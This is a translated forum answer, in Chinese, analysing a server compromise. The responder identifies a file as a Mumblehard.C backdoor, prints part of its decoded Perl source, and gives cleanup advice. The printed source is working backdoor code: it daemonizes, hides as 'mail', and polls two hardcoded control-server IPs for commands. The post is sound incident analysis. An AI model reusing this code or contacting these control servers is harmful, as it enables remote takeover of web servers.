比特币挖矿攻击

Question

这似乎是 Mumblehard.C 后门的有效载荷。此文件允许从文件中列出的控制服务器执行任意代码，并且能够以 www-data 用户的权限执行。

我肯定会备份您的数据并重新安装，但是这个后门的范围应该仅限于 www-data 用户，而且很可能是由于 WordPress 安装过时造成的。

这是故意让它难以终止。如果您需要在系统仍在运行时尝试缓解此问题，您可以终止以 www-data 用户身份运行的所有进程。

/var/tmp 中的文件是一个 perl 脚本，它使用 uuencode 格式对另一个 perl 脚本进行编码。您没有包含整个文件，但到目前为止，它看起来像纯文本：

#!/usr/bin/perl -w
use strict;
use POSIX;
use IO::Socket;
use IO::Select;
$0 = "mail"; $| = 1; &main();
sub main
{
exit 0 unless defined (my $pid = fork);
exit 0 if $pid;
POSIX::setsid();
$SIG{$_} = "IGNORE" for (qw (HUP INT ILL FPE QUIT ABRT USR1 SEGV USR2 PIPE ALRM TERM CHLD));
umask 0;
chdir "/";
open (STDIN, "</dev/null");
open (STDOUT, ">/dev/null");
open (STDERR, ">&STDOUT");
my $url = ["77.72.83.137","93.88.74.243"];
my $rnd = ["a".."z", "A".."Z"]; $rnd = join ("", @$rnd[map {rand @$rnd}(1..(6 + int rand 5))]);
my $dir = "/var/tmp"; if (open (F, ">", "/tmp/$rnd")) { close F; unlink "/tmp/$rnd"; $dir ="/tmp"; }
my ($header, $content);
my ($link, $file, $id, $command, $timeout) = ("en.wikipedia.org", "index.html", 1, 96, 10);
foreach my $rs (@$url)
{
$header = "$dir/" . time; $content = $header . "1";
unlink $header if -f $header; unlink $content if -f $content;
&http($rs, $timeout, $header, $content, 0);
if (open (F, "<", $header))
{
flock F, 1;
my ($test, $task) = (0, "");
while (<F>)
{
s/^\s*([^\s]?.*)$/$1/;
s/^(.*[^\s])\s*$/$1/;
next unless length $_;
$test ++ if $_ eq "HTTP/1.0 200 OK" || $_ eq "Connection: close"; $task = $1 if /^Set-Cookie: PHPSESSID=([^;]+)/;
}
close F;
($link, $file, $id, $command, $timeout) = &decxd($task) if $test == 2 && length $task;
}
unlink $header if -f $header; unlink $content if -f $conten

这看起来与此处的代码非常相似：

http://hardwarefetish.com/681-mumblehard-c-trojan-unpacked

其中 77.72.83.137 和 93.88.74.243 是控制服务器。这两个 IP 均在俄罗斯注册，用于 VPS。其中一个 IP 被列为垃圾邮件活动：

https://mxtoolbox.com/SuperTool.aspx?action=blacklist%3a93.88.74.243&run=toolpage

由于这些 IP 被搜索引擎索引，因此攻击者会自动禁用它们。不过我怀疑这没什么大不了的，因为 VPS 无论如何都不会合法地帮助你。

Answer 1